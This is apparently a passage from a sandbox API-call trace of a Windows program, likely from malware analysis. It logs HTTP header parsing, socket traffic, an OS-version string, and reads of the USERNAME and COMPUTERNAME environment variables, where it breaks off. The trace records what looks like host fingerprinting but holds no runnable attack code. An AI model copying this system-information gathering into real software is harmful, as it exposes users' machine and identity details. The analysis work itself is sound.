(Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Language", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Language", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Language", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 1 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTF-8", cchCount1=1, lpString2="\"", cchCount2=1) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="charset=UTF-8", cchCount1=7, lpString2="charset", cchCount2=7) returned 2 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Length", cchCount2=14) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Length", cchCount2=14) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Length", cchCount2=14) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Length", cchCount2=14) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Length", cchCount2=14) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Range", cchCount2=13) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Range", cchCount2=13) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Range", cchCount2=13) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 2 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0119.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.735] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVG", cchCount2=3) returned 1 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="JAN", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="FEB", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="MAR", cchCount2=3) returned 2 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="A", cchCount2=1) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACDT", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACST", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ADT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEDT", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEST", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AFT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKDT", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKST", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ART", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWDT", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWST", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AZOST", cchCount2=5) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AZT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="B", cchCount2=1) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BDT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BIOT", cchCount2=4) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BIT", cchCount2=3) returned 3 [0119.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="BOT", cchCount2=3) returned 3 [0119.737] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa84 | out: lpTimeZoneInformation=0x18fa84) returned 0x2 [0119.738] LoadStringW (in: hInstance=0x400000, uID=0xfea1, lpBuffer=0x18db44, cchBufferMax=4096 | out: lpBuffer="Chunk Started") returned 0xd [0119.738] GetTickCount64 () returned 0x1150a7d [0119.738] GetTickCount64 () returned 0x1150a7d [0119.738] GetTickCount64 () returned 0x1150a7d [0119.738] select (in: nfds=0, readfds=0x18f8e4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f8e4, writefds=0x0, exceptfds=0x0) returned 1 [0119.738] SetLastError (dwErrCode=0x0) [0119.738] SetLastError (dwErrCode=0x0) [0119.738] WSASetLastError (iError=0) [0119.738] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.738] SetLastError (dwErrCode=0x0) [0119.738] WSASetLastError (iError=0) [0119.738] recv (in: s=0x12c, buf=0x2d51900, len=29, flags=0 | out: buf=0x2d51900*) returned 29 [0119.738] GetTickCount64 () returned 0x1150a7d [0119.738] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.738] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.739] WSASetLastError (iError=0) [0119.739] send (s=0x12c, buf=0x2d409d3*, len=31, flags=0) returned 31 [0119.739] shutdown (s=0x12c, how=1) returned 0 [0119.740] closesocket (s=0x12c) returned 0 [0119.740] LoadStringW (in: hInstance=0x400000, uID=0xff49, lpBuffer=0x18dcb8, cchBufferMax=4096 | out: lpBuffer="64-bit Edition") returned 0xe [0119.740] LoadStringW (in: hInstance=0x400000, uID=0xff47, lpBuffer=0x18dcb4, cchBufferMax=4096 | out: lpBuffer="%s Service Pack %4:d (Version %1:d.%2:d, Build %3:d, %5:s)") returned 0x3a [0119.740] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x18f504, nSize=0x400 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0119.740] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", 